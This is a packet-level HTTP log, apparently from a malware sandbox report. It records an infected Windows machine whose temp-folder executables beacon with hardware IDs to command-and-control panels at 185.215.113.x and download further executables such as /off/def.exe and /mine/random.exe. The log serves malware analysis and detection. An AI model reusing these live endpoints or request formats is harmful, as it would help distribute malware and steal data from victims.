Nov 1, 2024 03:46:49.960403919 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63650 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	58573	34.107.221.82	80	5072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:50.521634102 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 03:46:51.118113041 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 40646 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	58575	185.215.113.206	80	5672	C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:51.091000080 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 03:46:52.003549099 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:46:52.046616077 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIIIEHCFIECAKFHJD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="build"tale------GDHIIIIEHCFIECAKFHJD--
Nov 1, 2024 03:46:52.340027094 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	58579	34.107.221.82	80	5072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:51.815767050 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:46:52.413228989 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63653 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 03:46:52.857510090 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:46:52.981926918 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63653 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	58580	185.215.113.16	80	5916	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:51.830867052 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 03:46:52.711168051 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:52 GMT Content-Type: application/octet-stream Content-Length: 2793984 Last-Modified: Fri, 01 Nov 2024 02:45:26 GMT Connection: keep-alive ETag: "672440c6-2aa200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 cf 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+v+`Ui` @ @.rsrc`2@.idata 8@dgcknkdt`B:@xsoukktr +\|@.taggant@ +"@
Nov 1, 2024 03:46:52.711232901 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:52.711442947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:52.711453915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:52.711467028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:52.711505890 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:52.711519003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:52.711535931 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:52.711546898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:46:52.711558104 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6IvT\`)M<<]t$&n[-.*}12En0_Y'-[lV`GsW TRD.6JAL!8BpyVZW_9Hh9^si"(##4Ux0S@ 8Lx(UWbN+cxR#S8Cb0X
Nov 1, 2024 03:46:52.721987009 CET	1236	IN	Data Raw: 9c 1b 57 7c cf 77 61 84 1c 90 03 8c 5b f6 fd 65 5a 4f 20 b4 07 40 ba 9e 0c 17 46 de 0d 39 68 8a 08 92 5d 0b 65 28 5f 82 2d 20 d0 43 12 53 bf 20 b0 11 5f 14 10 f3 5d 86 fd e8 46 33 b6 f8 92 1c 6e 5d 95 9e 00 f5 a1 37 4a 24 54 ee 35 62 0b 58 9a bf Data Ascii: W\|wa[eZO @F9h]e(_- CS _]F3n]7J$T5bXk!f@Na9f~]v*I^GV7DGBFTLE2tUWpGZ798 1w{2 #~\|T^\|`k`Zm3H_W I>t)5YOWl50!+!X!.
Nov 1, 2024 03:46:59.677385092 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 03:46:59.953908920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:59 GMT Content-Type: application/octet-stream Content-Length: 1913856 Last-Modified: Fri, 01 Nov 2024 02:41:17 GMT Connection: keep-alive ETag: "67243fcd-1d3400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@LT@WkD$KK @.rsrcD@.idata @ *@febftsfn 1@dcycmmutK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	58582	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:51.961466074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 03:46:52.866110086 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	58585	34.107.221.82	80	5072	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:52.851207972 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 03:46:53.446777105 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 40648 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	58587	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:54.386092901 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 03:46:55.289216042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	58588	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:56.917395115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 03:46:57.835560083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:46:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	58592	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:46:59.604554892 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 03:47:00.520266056 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:47:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	58593	185.215.113.206	80	6960	C:\Users\user\AppData\Local\Temp\1003076001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:01.085613966 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 03:47:01.983810902 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:47:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:47:02.074513912 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGH Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 30 43 31 30 38 45 45 30 37 34 31 37 30 30 36 36 32 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="hwid"CD30C108EE07417006623------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="build"tale------JDGCFBAFBFHJEBGCAEGH--
Nov 1, 2024 03:47:02.356506109 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:47:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	58594	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:02.487065077 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 03:47:03.359335899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:47:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	58600	185.215.113.16	80	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:04.192537069 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 03:47:05.094244003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:47:04 GMT Content-Type: application/octet-stream Content-Length: 2793984 Last-Modified: Fri, 01 Nov 2024 02:45:26 GMT Connection: keep-alive ETag: "672440c6-2aa200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 cf 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+v+`Ui` @ @.rsrc`2@.idata 8@dgcknkdt`B:@xsoukktr +\|@.taggant@ +"@
Nov 1, 2024 03:47:05.094281912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:05.094293118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:05.094340086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
